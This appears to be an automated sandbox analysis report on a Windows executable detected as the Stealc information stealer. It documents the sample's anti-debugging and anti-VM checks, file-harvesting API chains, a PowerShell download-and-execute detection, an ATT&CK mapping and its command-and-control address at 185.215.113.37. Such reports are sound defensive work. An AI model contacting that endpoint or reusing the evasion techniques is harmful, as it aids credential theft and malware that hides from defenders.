Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA67D second address: 10CA683 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CDB9D second address: 10CDBDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6720533115h 0x00000007 jmp 00007F672053310Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jns 00007F672053310Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 jbe 00007F6720533106h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0322 second address: 4FF0326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0326 second address: 4FF032C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF032C second address: 4FF036A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F67208644D3h 0x00000009 sbb esi, 55DF83CEh 0x0000000f jmp 00007F67208644D9h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebp 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF036A second address: 4FF03AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F6720533114h 0x0000000c add ah, 00000078h 0x0000000f jmp 00007F672053310Bh 0x00000014 popfd 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F6720533114h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF03AC second address: 4FF03EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F67208644CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F67208644CBh 0x00000013 sub esi, 516BCC9Eh 0x00000019 jmp 00007F67208644D9h 0x0000001e popfd 0x0000001f mov ch, 08h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF03EE second address: 4FF03F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF03F4 second address: 4FF03F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E41A53 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FE6A4F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FF064B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 106BD37 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BF38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00BF38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BF4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00BF4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BEDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00BEDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BEE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00BEE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BEED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00BEED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BF4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00BF4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BEF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00BEF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BF3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00BF3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BE16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00BE16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BEDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00BEDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BEBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00BEBE70

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BE1160 GetSystemInfo,ExitProcess,

0_2_00BE1160

Source: file.exe, file.exe, 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1399229578.00000000009E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0o
Source: file.exe, 00000000.00000002.1399229578.0000000000A12000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1399229578.000000000099E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13627
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13624
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13639
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13679
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13644

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BE45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00BE45C0

Source: C:\Users\user\Desktop\file.exe

0_2_00BF9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BF9750 mov eax, dword ptr fs:[00000030h]

0_2_00BF9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BF78E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00BF78E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7056, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BF9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00BF9600

Source: file.exe	Binary or memory string: PoProgram Manager
Source: file.exe, 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: oProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00BF7B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BF7980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00BF7980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BF7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00BF7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BF7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00BF7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.be0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1358788116.0000000004E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1399229578.000000000099E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7056, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.be0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1358788116.0000000004E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1399229578.000000000099E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7056, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.phpWindows	file.exe, 00000000.00000002.1399229578.00000000009FA000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.1399229578.000000000099E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/ws	file.exe, 00000000.00000002.1399229578.00000000009FA000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpc	file.exe, 00000000.00000002.1399229578.00000000009FA000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpZ	file.exe, 00000000.00000002.1399229578.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/M	file.exe, 00000000.00000002.1399229578.00000000009FA000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37s	file.exe, 00000000.00000002.1399229578.000000000099E000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1529189
Start date and time:	2024-10-08 18:25:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 83
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947297463352463
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'835'520 bytes
MD5:	f7b1143886156d2a48fcda8f5dec586e
SHA1:	d0f524caa5ff55008c62c71fe8bf47e5c9cb12b2
SHA256:	2b2dba893754d1e80e4fd6520017a706679796376cddcb37a09552e170e4ce21
SHA512:	91ad77a423e2a8b84233ff5e6f80c91001311c2ba7d3caf451b3afc6f344c6a13be2cdceb33f5b1bde33275b3c7c971f73c34bd597f46975033d7a9f409304e0
SSDEEP:	49152:HluWcX7kogYkCKXeCftKfjGUmQ6OU3cv:Hlz07kog5xuZ0cv
TLSH:	7B8533B26DA2E25ADC3EA731BBAB03971360A3440C9596723BE5C731D585C4CE7D2378
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa92000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F6720DC151Ah
pavgb mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], bl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	969a8684ebee764e4dee15c071ccce60	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x299000	0x200	f545b12eb522469d14812b8d1f37ecab	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uwwmduoa	0x4f7000	0x19a000	0x19a000	da2b27a03f0faed774e164d1645c55e1	False	0.9947200123856708	data	7.952745504093785	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
roqxtsuu	0x691000	0x1000	0x400	73b42f82ded5c47e05d8d31a99b57ebf	False	0.7177734375	data	5.77972498280191	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x692000	0x3000	0x2200	a6a4f2f56fa9472175bd4309fc40a734	False	0.0642233455882353	DOS executable (COM)	0.6741741055839803	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T18:26:14.098409+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49715	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 18:26:13.031398058 CEST	49715	80	192.168.2.7	185.215.113.37
Oct 8, 2024 18:26:13.036375999 CEST	80	49715	185.215.113.37	192.168.2.7
Oct 8, 2024 18:26:13.036462069 CEST	49715	80	192.168.2.7	185.215.113.37
Oct 8, 2024 18:26:13.037276983 CEST	49715	80	192.168.2.7	185.215.113.37
Oct 8, 2024 18:26:13.045710087 CEST	80	49715	185.215.113.37	192.168.2.7
Oct 8, 2024 18:26:13.851593971 CEST	80	49715	185.215.113.37	192.168.2.7
